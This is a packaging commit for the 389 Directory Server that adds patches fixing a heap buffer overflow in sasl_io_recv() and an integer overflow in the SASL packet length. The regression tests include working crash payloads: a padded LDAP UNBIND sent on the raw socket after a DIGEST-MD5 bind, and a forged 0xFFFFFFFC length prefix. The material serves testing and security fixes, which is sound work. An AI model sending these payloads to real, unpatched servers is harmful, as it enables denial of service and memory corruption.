import Oracle_OSS 389-ds-base-1.4.3.39-25.module+el8.10.0+90949+c5bfd23c

This commit is contained in:
AlmaLinux RelEng Bot 2026-07-08 20:45:58 -04:00
parent c4763fe41f
commit 02c94301d2
4 changed files with 496 additions and 1 deletions

View File

@ -0,0 +1,296 @@
From 874b66b2c6c548322d724c7f0600aabcc6f1b314 Mon Sep 17 00:00:00 2001
From: Mark Reynolds <mreynolds@redhat.com>
Date: Thu, 4 Jun 2026 12:32:56 -0400
Subject: [PATCH 1/3] Security Advisory: Heap Buffer Overflow in sasl_io_recv()
via Padded SASL UNBIND
**Advisory ID**: 389-ds-base-2026-04-20-008
**Date**: 2026-04-20
**Severity**: High (CVSS 8.8)
**CVSS 3.1**: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
**CWE**: CWE-122 (Heap-based Buffer Overflow)
**CVE**: None assigned
Reviewed by: jchapman(Thanks!)
---
.../suites/sasl/io_overflow_asan_test.py | 248 ++++++++++++++++++
ldap/servers/slapd/sasl_io.c | 8 +-
2 files changed, 254 insertions(+), 2 deletions(-)
create mode 100644 dirsrvtests/tests/suites/sasl/io_overflow_asan_test.py
diff --git a/dirsrvtests/tests/suites/sasl/io_overflow_asan_test.py b/dirsrvtests/tests/suites/sasl/io_overflow_asan_test.py
new file mode 100644
index 000000000..aff93eb8b
--- /dev/null
+++ b/dirsrvtests/tests/suites/sasl/io_overflow_asan_test.py
@@ -0,0 +1,248 @@
+# --- BEGIN COPYRIGHT BLOCK ---
+# Copyright (C) 2026 Red Hat, Inc.
+# All rights reserved.
+#
+# License: GPL (version 3 or any later version).
+# See LICENSE for details.
+# --- END COPYRIGHT BLOCK ---
+#
+import ldap
+import logging
+import pytest
+import os
+import socket
+import struct
+import sys
+import time
+from ldap import sasl as ldap_sasl
+from lib389._constants import DEFAULT_SUFFIX, PASSWORD
+from lib389.idm.user import UserAccounts
+from lib389.utils import check_asan_report
+from test389.topologies import topology_st as topo
+
+log = logging.getLogger(__name__)
+
+PADDED_UNBIND_SIZE = 9000
+
+
+def build_padded_unbind():
+ """Build an oversized LDAP UNBIND packet.
+
+ Normal UNBIND is 7 bytes:
+ 30 05 SEQUENCE, length 5
+ 02 01 01 INTEGER (msgid) = 1
+ 42 00 UNBIND request (app 2, primitive, length 0)
+
+ Padded UNBIND uses 4-byte BER definite length encoding to include
+ attacker-controlled padding after the UNBIND element. The outer SEQUENCE
+ length encompasses the msgid + unbind + padding. The server reads the
+ full packet into encrypted_buffer (based on the outer BER length), then
+ copies ALL of it into the caller's buf via memcpy without bounds check.
+
+ 30 84 XX XX XX XX SEQUENCE, 4-byte length = 5 + pad_size
+ 02 01 01 INTEGER (msgid) = 1
+ 42 00 UNBIND request
+ [pad_size bytes of padding]
+ """
+ inner = b'\x02\x01\x01' # msgid = 1
+ inner += b'\x42\x00' # UNBIND (application tag 2, primitive, length 0)
+ inner += b'A' * PADDED_UNBIND_SIZE # attacker-controlled padding
+
+ # SEQUENCE (0x30) with 4-byte definite length encoding (0x84)
+ length = len(inner)
+ packet = b'\x30\x84' + struct.pack('>I', length) + inner
+ return packet
+
+
+def build_normal_unbind():
+ """Build a standard 7-byte LDAP UNBIND for comparison."""
+ return bytes([
+ 0x30, 0x05, # SEQUENCE, length 5
+ 0x02, 0x01, 0x01, # INTEGER msgid=1
+ 0x42, 0x00 # UNBIND
+ ])
+
+
+def do_sasl_bind_and_get_fd(host, port, user):
+ """Perform SASL DIGEST-MD5 bind and return the raw socket FD.
+
+ Uses python-ldap for the SASL handshake, then extracts the underlying
+ socket file descriptor. After the SASL bind with SSF > 0, the server
+ has pushed the SASL I/O layer onto the connection.
+ """
+
+ uri = f"ldap://{host}:{port}"
+ log.info(f"[*] Connecting to {uri}")
+
+ conn = ldap.initialize(uri)
+ conn.protocol_version = ldap.VERSION3
+
+ # Set SASL options for DIGEST-MD5 with integrity/confidentiality protection
+ # This ensures SSF > 0, which triggers sasl_io_enable on the server
+ conn.set_option(ldap.OPT_X_SASL_SSF_MIN, 1)
+ conn.set_option(ldap.OPT_X_SASL_SSF_MAX, 256)
+
+ log.info(f"[*] SASL DIGEST-MD5 bind as user: {user}")
+
+ # DIGEST-MD5 SASL bind
+ auth = ldap_sasl.digest_md5(user, PASSWORD)
+ try:
+ conn.sasl_interactive_bind_s("", auth)
+ except ldap.LDAPError as e:
+ log.info(f"[-] SASL bind failed: {e}")
+ sys.exit(1)
+
+ # Verify SSF > 0 (SASL I/O layer is active)
+ ssf = conn.get_option(ldap.OPT_X_SASL_SSF)
+ log.info(f"[+] SASL bind successful, SSF = {ssf}")
+ if ssf == 0:
+ log.info("[-] SSF is 0 -- SASL I/O layer was NOT pushed. Exploit requires SSF > 0.")
+ sys.exit(1)
+
+ # Get the raw socket file descriptor
+ fd = conn.fileno()
+ log.info(f"[+] Raw socket FD: {fd}")
+
+ return conn, fd
+
+
+def send_padded_unbind(fd):
+ """Send a padded UNBIND directly on the raw socket FD.
+
+ This bypasses the SASL framing layer on the CLIENT side. The server's
+ sasl_io_recv will see this as an unencrypted LDAP message (first byte
+ is 0x30 = LDAP_TAG_MESSAGE, not SASL framing).
+
+ The server code path:
+ 1. sasl_io_recv -> sasl_io_start_packet
+ 2. !sp->send_encrypted (PR_FALSE on first read) && *encrypted_buffer == 0x30
+ 3. Enters unencrypted LDAP path
+ 4. Reads full packet into encrypted_buffer (ber_len bytes)
+ 5. Checks tag == LDAP_REQ_UNBIND (0x42) -- passes
+ 6. Sets encrypted_buffer_count = encrypted_buffer_offset = ber_len + 2
+ 7. Returns SASL_IO_BUFFER_NOT_ENCRYPTED
+ 8. sasl_io_recv: memcpy(buf, encrypted_buffer, encrypted_buffer_count)
+ where buf is sized to len (caller's buffer), NOT encrypted_buffer_count
+ 9. OVERFLOW: encrypted_buffer_count (pad_size + 7) >> len (caller's buf size)
+ """
+ packet = build_padded_unbind()
+ total_size = len(packet)
+
+ log.info(f"[*] Sending padded UNBIND: {total_size} bytes total")
+ log.info(f"[*] Padding size: {PADDED_UNBIND_SIZE} bytes of attacker-controlled data")
+ log.info(f"[*] Packet header: {packet[:10].hex()}")
+
+ # Send directly on the raw FD, bypassing SASL wrapper
+ sock = socket.fromfd(fd, socket.AF_INET, socket.SOCK_STREAM)
+ # Prevent socket.fromfd from closing the original fd when sock is gc'd
+ try:
+ sent = sock.send(packet)
+ log.info(f"[+] Sent {sent} bytes on raw socket (bypassing SASL layer)")
+ except OSError as e:
+ log.info(f"[-] Send failed: {e}")
+ # Try dup first
+ new_fd = os.dup(fd)
+ sock2 = socket.socket(fileno=new_fd)
+ sent = sock2.send(packet)
+ log.info(f"[+] Sent {sent} bytes via dup'd socket")
+ finally:
+ # Detach without closing underlying fd
+ sock.detach()
+
+ return total_size
+
+
+def test_sasl_io_overflow(topo):
+ """Verify the SASL I/O layer does not heap-overflow on a padded UNBIND
+
+ After a SASL bind with integrity protection (SSF > 0), the server pushes
+ the SASL I/O shim onto the connection. Send an oversized LDAP UNBIND whose
+ BER length includes attacker-controlled padding, directly on the raw socket
+ so it bypasses client-side SASL framing. The server must handle the
+ unencrypted UNBIND without copying past the caller buffer in sasl_io_recv.
+
+ Requires an ASAN build so a heap-buffer-overflow is reported instead of
+ silent memory corruption.
+
+ :id: 8ef3ea18-2c61-494c-b813-7044d0276adb
+ :setup: Standalone Instance with ASAN enabled
+ :steps:
+ 1. Create a test user with a clear-text password
+ 2. Perform a SASL DIGEST-MD5 bind with SSF > 0
+ 3. Send a padded UNBIND on the raw socket, bypassing SASL framing
+ 4. Read from the connection and verify the server did not crash
+ :expectedresults:
+ 1. Success
+ 2. Success
+ 3. Success
+ 4. Server remains running and the connection can be used or closed cleanly
+ """
+
+ inst = topo.standalone
+ if not inst.has_asan():
+ pytest.skip("ASAN is not enabled on this server")
+
+ # For digest-md5 we need clear text password
+ inst.config.set('passwordStorageScheme', 'CLEAR')
+
+ # Add a user
+ users = UserAccounts(topo.standalone, DEFAULT_SUFFIX)
+ user = users.create_test_user(uid=1)
+ user.set('userPassword', PASSWORD)
+ user = 'test_user_1'
+
+ # Step 1: SASL DIGEST-MD5 bind (pushes SASL I/O layer on server)
+ conn, fd = do_sasl_bind_and_get_fd(inst.host, inst.port, user)
+
+ # Brief pause to ensure server has processed bind response
+ time.sleep(0.5)
+
+ # Step 2: Send padded UNBIND on raw socket (triggers overflow)
+ log.info("")
+ log.info("[*] Sending exploit payload...")
+ log.info(f"[*] The server's sasl_io_recv will memcpy {4096 + 7} bytes")
+ log.info(f"[*] into a buffer likely sized ~4096-8192 bytes (BER read buffer)")
+ log.info(f"[*] Overflow: ~{max(0, PADDED_UNBIND_SIZE - 4096)} bytes past buffer end")
+ log.info("")
+
+ send_padded_unbind(fd)
+
+ log.info("")
+ log.info("[*] Exploit sent. Check server status:")
+ log.info("[*] - PID change indicates crash (heap corruption -> SIGSEGV/SIGABRT)")
+ log.info("[*] - Error log may show ASAN heap-buffer-overflow if built with sanitizers")
+ log.info("[*] - With default (non-ASAN) build, crash may be delayed until next heap op")
+ log.info("")
+
+ # Try to read response -- server should either crash or close connection
+ time.sleep(0.5)
+ try:
+ log.info("[*] Receiving response from server...")
+ sock = socket.fromfd(fd, socket.AF_INET, socket.SOCK_STREAM)
+ try:
+ data = sock.recv(4096)
+ if data:
+ log.info(f"[*] Received {len(data)} bytes back (unexpected)")
+ else:
+ log.info("[+] Connection closed by server")
+ finally:
+ sock.detach()
+ except Exception as e:
+ assert False, f"Socket error: {e}"
+
+ # Clean up
+ log.info("[*] Unbinding from server")
+ conn.unbind_s()
+
+ # Check ASAN report
+ log.info("[*] Checking ASAN report")
+ assert not check_asan_report(inst, 'heap-buffer-overflow'), "Heap-buffer-overflow found in ASAN report"
+
+ log.info("[*] Test passed")
+
+
+if __name__ == '__main__':
+ # Run isolated
+ # -s for DEBUG mode
+ CURRENT_FILE = os.path.realpath(__file__)
+ pytest.main(["-s", CURRENT_FILE])
diff --git a/ldap/servers/slapd/sasl_io.c b/ldap/servers/slapd/sasl_io.c
index d10ab8d2e..65199880f 100644
--- a/ldap/servers/slapd/sasl_io.c
+++ b/ldap/servers/slapd/sasl_io.c
@@ -453,8 +453,12 @@ sasl_io_recv(PRFileDesc *fd, void *buf, PRInt32 len, PRIntn flags, PRIntervalTim
* Special case: we received unencrypted data that was actually
* an unbind. Copy it to the buffer and return its length.
*/
- memcpy(buf, sp->encrypted_buffer, sp->encrypted_buffer_count);
- return sp->encrypted_buffer_count;
+ uint32_t bytes_to_copy = sp->encrypted_buffer_count;
+ if (bytes_to_copy > (uint32_t)len) {
+ bytes_to_copy = (uint32_t)len;
+ }
+ memcpy(buf, sp->encrypted_buffer, bytes_to_copy);
+ return bytes_to_copy;
}
if (0 >= ret) {
/* timeout, connection closed, or error */
--
2.54.0

View File

@ -0,0 +1,164 @@
From a322d277a2e0320096f2a1e05025405a51d22ef8 Mon Sep 17 00:00:00 2001
From: James Chapman <jachapma@redhat.com>
Date: Tue, 23 Jun 2026 10:07:00 +0100
Subject: [PATCH 2/3] Issue 7593 - Reject invalid SASL packet length values in
sasl_io_start_packet (#7594)
Description:
While processing SASL encrypted traffic, sasl_io_start_packet() reads a
4-byte length from the connection and adds sizeof(uint32_t) before resizing
the read buffer. Certain large length values can wrap in uint32_t, causing
incorrect buffer sizing when malformed SASL data is received on an
established connection.
Fixes: https://github.com/389ds/389-ds-base/issues/7593
Reviewed by: @tbordaz, @progier389 (Thank you)
---
.../suites/sasl/sasl_io_overflow_test.py | 106 ++++++++++++++++++
ldap/servers/slapd/sasl_io.c | 9 ++
2 files changed, 115 insertions(+)
create mode 100644 dirsrvtests/tests/suites/sasl/sasl_io_overflow_test.py
diff --git a/dirsrvtests/tests/suites/sasl/sasl_io_overflow_test.py b/dirsrvtests/tests/suites/sasl/sasl_io_overflow_test.py
new file mode 100644
index 000000000..ac1f3760f
--- /dev/null
+++ b/dirsrvtests/tests/suites/sasl/sasl_io_overflow_test.py
@@ -0,0 +1,106 @@
+# --- BEGIN COPYRIGHT BLOCK ---
+# Copyright (C) 2026 Red Hat, Inc.
+# All rights reserved.
+#
+# License: GPL (version 3 or any later version).
+# See LICENSE for details.
+# --- END COPYRIGHT BLOCK ---
+#
+
+import socket
+import struct
+import time
+import ldap
+import pytest
+
+from lib389._constants import DEFAULT_SUFFIX
+from lib389.idm.user import UserAccounts
+from lib389.saslmap import SaslMappings
+from lib389.utils import *
+from lib389.topologies import topology_st
+
+pytestmark = pytest.mark.tier1
+
+log = logging.getLogger(__name__)
+
+SASL_OVERFLOW_FAKE_LENGTH = 0xFFFFFFFC
+SASL_OVERFLOW_PAYLOAD_SIZE = 65536
+
+def test_sasl_io_packet_length_overflow(topology_st):
+ """Malformed SASL length prefix must not crash the server
+ :id: 318f871d-2f17-461b-98ed-04cdff6ab41a
+ :setup: Standalone instance
+ :steps:
+ 1. Set passwordStorageScheme to CLEAR and restart the instance
+ 2. Add SASL uid mapping and user sasltest for DIGEST-MD5 bind
+ 3. SASL DIGEST-MD5 bind as sasltest
+ 4. Send malformed SASL packeton the encrypted connection
+ 5. Verify server is still running
+ :expectedresults:
+ 1. CLEAR scheme and SASL map/user are configured successfully
+ 2. Test user added
+ 3. DIGEST-MD5 bind succeeds
+ 4. Malformed packet is accepted on the wire without crashing the server
+ 5. Server remains up
+ """
+ inst = topology_st.standalone
+ inst.config.replace('passwordStorageScheme', 'CLEAR')
+ saslmappings = SaslMappings(inst)
+
+ # Create SASL mapping
+ try:
+ saslmappings.create(properties={
+ 'cn': 'uid map',
+ 'nsSaslMapRegexString': r'\(.*\)',
+ 'nsSaslMapBaseDNTemplate': DEFAULT_SUFFIX,
+ 'nsSaslMapFilterTemplate': '(uid=\\1)',
+ 'nsSaslMapPriority': '10',
+ })
+ except ldap.ALREADY_EXISTS:
+ pass
+
+ # Create test user
+ users = UserAccounts(inst, DEFAULT_SUFFIX)
+ try:
+ users.create(properties={
+ 'uid': 'sasltest',
+ 'cn': 'SASL Test User',
+ 'sn': 'Test',
+ 'uidNumber': '10001',
+ 'gidNumber': '10001',
+ 'homeDirectory': '/home/sasltest',
+ 'userPassword': 'sasltest123',
+ })
+ except ldap.ALREADY_EXISTS:
+ pass
+ inst.restart()
+
+ try:
+ # Open connection to server and send bad payload
+ conn = ldap.initialize(inst.get_ldap_uri())
+ conn.protocol_version = ldap.VERSION3
+ conn.set_option(ldap.OPT_X_SASL_SSF_MIN, 1)
+ conn.set_option(ldap.OPT_X_SASL_SSF_MAX, 256)
+ conn.sasl_interactive_bind_s(
+ '',
+ ldap.sasl.digest_md5('sasltest', 'sasltest123'),
+ )
+ fd = conn.fileno()
+ sock = socket.fromfd(fd, socket.AF_INET, socket.SOCK_STREAM)
+ payload = (
+ struct.pack('!I', SASL_OVERFLOW_FAKE_LENGTH)
+ + b'A' * 3
+ + b'B' * SASL_OVERFLOW_PAYLOAD_SIZE
+ )
+ sock.send(payload)
+ sock.detach()
+ time.sleep(3)
+
+ # Check if the server is still up
+ try:
+ inst.rootdse.get_attr_val_utf8('vendorVersion')
+ except ldap.SERVER_DOWN:
+ pytest.fail("Server is not responding after malformed SASL packet")
+ finally:
+ if not inst.status():
+ inst.start()
diff --git a/ldap/servers/slapd/sasl_io.c b/ldap/servers/slapd/sasl_io.c
index 65199880f..614db692e 100644
--- a/ldap/servers/slapd/sasl_io.c
+++ b/ldap/servers/slapd/sasl_io.c
@@ -16,6 +16,7 @@
#include "fe.h"
#include <sasl/sasl.h>
#include <arpa/inet.h>
+#include <stdint.h>
/*
* I/O Shim Layer for SASL Encryption
@@ -371,6 +372,14 @@ sasl_io_start_packet(PRFileDesc *fd, PRIntn flags, PRIntervalTime timeout, PRInt
/* Decode the length */
packet_length = ntohl(*(uint32_t *)sp->encrypted_buffer);
/* add length itself (for Cyrus SASL library) */
+ if (packet_length > (UINT32_MAX - sizeof(uint32_t))) {
+ slapi_log_err(SLAPI_LOG_ERR, "sasl_io_start_packet",
+ "SASL packet length would overflow (%" PRIu32 ")\n",
+ packet_length);
+ PR_SetError(PR_BUFFER_OVERFLOW_ERROR, 0);
+ *err = PR_BUFFER_OVERFLOW_ERROR;
+ return -1;
+ }
packet_length += sizeof(uint32_t);
slapi_log_err(SLAPI_LOG_CONNS, "sasl_io_start_packet",
--
2.54.0

View File

@ -0,0 +1,27 @@
From aee19d28b57273a15afc93d5cacb76dac1d853f0 Mon Sep 17 00:00:00 2001
From: Anuar Beisembayev <abeisemb@redhat.com>
Date: Thu, 25 Jun 2026 09:06:59 -0400
Subject: [PATCH 3/3] Replace test389 import with lib389 import in
io_overflow_asan_test.py.
Signed-off-by: Anuar Beisembayev <abeisemb@redhat.com>
---
dirsrvtests/tests/suites/sasl/io_overflow_asan_test.py | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/dirsrvtests/tests/suites/sasl/io_overflow_asan_test.py b/dirsrvtests/tests/suites/sasl/io_overflow_asan_test.py
index aff93eb8b..26a57ffba 100644
--- a/dirsrvtests/tests/suites/sasl/io_overflow_asan_test.py
+++ b/dirsrvtests/tests/suites/sasl/io_overflow_asan_test.py
@@ -18,7 +18,7 @@ from ldap import sasl as ldap_sasl
from lib389._constants import DEFAULT_SUFFIX, PASSWORD
from lib389.idm.user import UserAccounts
from lib389.utils import check_asan_report
-from test389.topologies import topology_st as topo
+from lib389.topologies import topology_st as topo
log = logging.getLogger(__name__)
--
2.54.0

View File

@ -52,7 +52,7 @@ ExcludeArch: i686
Summary: 389 Directory Server (base)
Name: 389-ds-base
Version: 1.4.3.39
Release: %{?relprefix}24%{?prerel}%{?dist}
Release: %{?relprefix}25%{?prerel}%{?dist}
License: GPL-3.0-or-later WITH GPL-3.0-389-ds-base-exception AND (0BSD OR Apache-2.0 OR MIT) AND (Apache-2.0 OR Apache-2.0 WITH LLVM-exception OR MIT) AND (Apache-2.0 OR BSD-2-Clause OR MIT) AND (Apache-2.0 OR BSL-1.0) AND (Apache-2.0 OR LGPL-2.1-or-later OR MIT) AND (Apache-2.0 OR MIT OR Zlib) AND (Apache-2.0 OR MIT) AND (MIT OR Apache-2.0) AND Unicode-3.0 AND (MIT OR Unlicense) AND Apache-2.0 AND BSD-3-Clause AND MIT AND MPL-2.0
URL: https://www.port389.org
Group: System Environment/Daemons
@ -401,6 +401,9 @@ Patch100: 0100-Issue-5947-Do-not-release-the-target-entry-in-ldbm_b.patc
Patch101: 0101-Issue-7271-fixed-build-error-in-repl5_init.patch
Patch102: 0102-Issue-6929-Compilation-failure-with-rust-1.89.patch
Patch103: 0103-Issue-7503-CVE-2026-9064-Add-a-limit-to-the-number-c.patch
Patch104: 0104-Security-Advisory-Heap-Buffer-Overflow-in-sasl_io_re.patch
Patch105: 0105-Issue-7593-Reject-invalid-SASL-packet-length-values-.patch
Patch106: 0106-Replace-test389-import-with-lib389-import-in-io_over.patch
#Patch100: cargo.patch
@ -1060,6 +1063,11 @@ exit 0
%doc README.md
%changelog
* Thu Jun 25 2026 Anuar Beisembayev <abeisemb@redhat.com> - 1.4.3.39-25
- Bump version to 1.4.3.39-25
- Resolves: RHEL-182162 - EMBARGOED CVE-2026-11610 389-ds-base: 389-ds-base: Heap buffer overflow in sasl_io_recv() via padded SASL UNBIND [rhel-8.10.z]
- Resolves: RHEL-183102 - CVE-2026-11774 389-ds-base: 389-ds-base: integer overflow in SASL packet length bypasses size limit
* Wed May 13 2026 Arun Bansal <arbansal@redhat.com> - 1.4.3.39-24
- Bump version to 1.4.3.39-24
- Resolves: RHEL-170278 - Memory leaks in syncrepl plugin during persistent search operations [rhel-8.10.z]